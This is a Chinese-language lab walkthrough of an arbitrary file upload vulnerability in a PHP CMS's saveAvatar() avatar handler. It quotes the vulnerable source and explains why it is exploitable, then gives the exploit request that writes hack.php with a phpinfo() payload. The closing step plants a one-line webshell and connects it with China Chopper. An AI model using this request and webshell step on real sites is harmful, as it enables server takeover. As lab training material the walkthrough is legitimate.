前期
由于玩的是靶场,所以工具都在靶场里,工具如下:
菜刀、火绒、火绒插件hackbar
复现漏洞
任意文件上传
打开网站
查看/App/Lib/Action/Home/UcAction.class.php
,发现任意上传漏洞本步骤分析UcAction.class.php
中的public function saveAvatar()
函数查看代码漏洞任意文件上传漏洞是因为源代码的不严谨造成的,因此要发现任意文件上传漏洞,需要查看文件源代码,查看UcAction.class.php
中的public function saveAvatar()
函数中内容,看到
<?
public function saveAvatar() {
session_start ();
define ( 'SD_ROOT', dirname ( __FILE__ ) . '/' );
@header ( "Expires: 0" );
@header ( "Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE );
@header ( "Pragma: no-cache" );
// 这里传过来会有两种类型,一先一后, big和small, 保存成功后返回一个json字串,客户端会再次post下一个.
$type = isset ( $_GET ['type'] ) ? trim ( $_GET ['type'] ) : 'tupian';
$orgin_pic_path = $_GET ['photoServer']; // 原始图片地址,备用.
// $from = $_GET['from'];
// //原始图片地址,备用.
$_path = explode ( '/', $orgin_pic_path );
$num = count ( $_path );
$path = '/';
foreach ( $_path as $k => $v ) {
if (($k + 1) == $num) {
$filename = $v;
} else {
$path .= $v . '/';
}
}
if ($type == 'big') {
$pic_path = '../../../../Uploads/avatar_big/' . $filename;
} elseif ($type == 'small') {
$pic_path = '../../../../Uploads/avatar_small/' . $filename;
} else {
$msg = json_encode ( 'error img!' );
echo $msg;
exit ();
}
$new_avatar_path = $pic_path;
$len = file_put_contents ( SD_ROOT . $new_avatar_path, file_get_contents ( "php://input" ) );
$avtar_img = imagecreatefromjpeg ( SD_ROOT . $new_avatar_path );
imagejpeg ( $avtar_img, SD_ROOT . $new_avatar_path, 80 );
// 输出新保存的图片位置, 测试时注意改一下域名路径, 后面的statusText是成功提示信息.
// status 为1 是成功上传,否则为失败.
$d = new pic_data ();
// $d->data->urls[0] = 'http://sns.com/avatar_test/'.$new_avatar_path;
$d->data->urls [0] = $new_avatar_path;
$d->status = 1;
$d->statusText = '上传成功!';
$msg = json_encode ( $d );
echo $msg;
$user_mod = M ( "User" );
$user_mod->where ( "is_del=0 and id=" . $_COOKIE ['id'] )->setField ( 'img', $filename );
@unlink ( SD_ROOT . "../../../../Uploads/avatar_original/" . $_SESSION ['user_img'] );
@unlink ( SD_ROOT . "../../../../Uploads/avatar_big/" . $_SESSION ['user_img'] );
@unlink ( SD_ROOT . "../../../../Uploads/avatar_small/" . $_SESSION ['user_img'] );
}
?>
这是很正常的一段PHP代码,在代码中可以看到通过GET方式提交了两个变量'type'和'photoServer'
$type = isset ( $_GET ['type'] ) ? trim ( $_GET ['type'] ) : 'tupian';
$orgin_pic_path = $_GET ['photoServer'];
当type=big或者small的时候将文件上传的地址设置为../../../../Uploads/avatar_big/' . $filename或者../../../../Uploads/avatar_small/,这个时候并没有对文件的名字进行任何过滤且$_GET ['type']变量可以控制type的值,文件的名字可由$_GET ['photoServer']变量控制,这个参数可以由用户控制,因此用户可以上传任意名字的文件到服务器中。
if ($type == 'big') {
$pic_path = '../../../../Uploads/avatar_big/' . $filename;
}
else
if ($type == 'small') {
$pic_path = '../../../../Uploads/
}
虽然此时用户可以上传任意名称的文件到服务器中,但是文件的内容却不能控制,继续往下看代码,可以看到
$len = file_put_contents ( SD_ROOT . $new_avatar_path, file_get_contents ( "php://input" ) );
php://input
,可以直接接收post方式提交的值,file_get_contents()
函数则将post的值读为字符串file_put_contents()
将字符串写入文件中,通过观察可以发现写入的文件正好是上传的文件,因此我们可以朝上传的任意名字文件中写入任意的值,因此形成了任意文件上传的漏洞。
名词解释
GET:通过GET方法传递给脚本的变量数组
GET['type']: $_GET[type] 是获取你通过get方法提交过来的值
php://input: 是个可以访问请求的原始数据的只读流。
file_get_contents():把整个文件读入一个字符串中。
file_put_contents():把一个字符串写入文件中。
phpinfo():phpinfo是一个运行指令,为显示php服务器的配置信息。
本步通过type和photoServer变量,上传php文件,再通过post方式提交phpinfo()函数写入php文件。
先访问192.168.0.2/jdcms/index.php?a=saveAvatar&m=Uc&g=Home&type=big&photoServer=hack.php,
然后打开hackbar选择post,在文本框中写入<?php phpinfo();?>
。点击执行。
查看hack.php
然后写个一句话木马,连接菜刀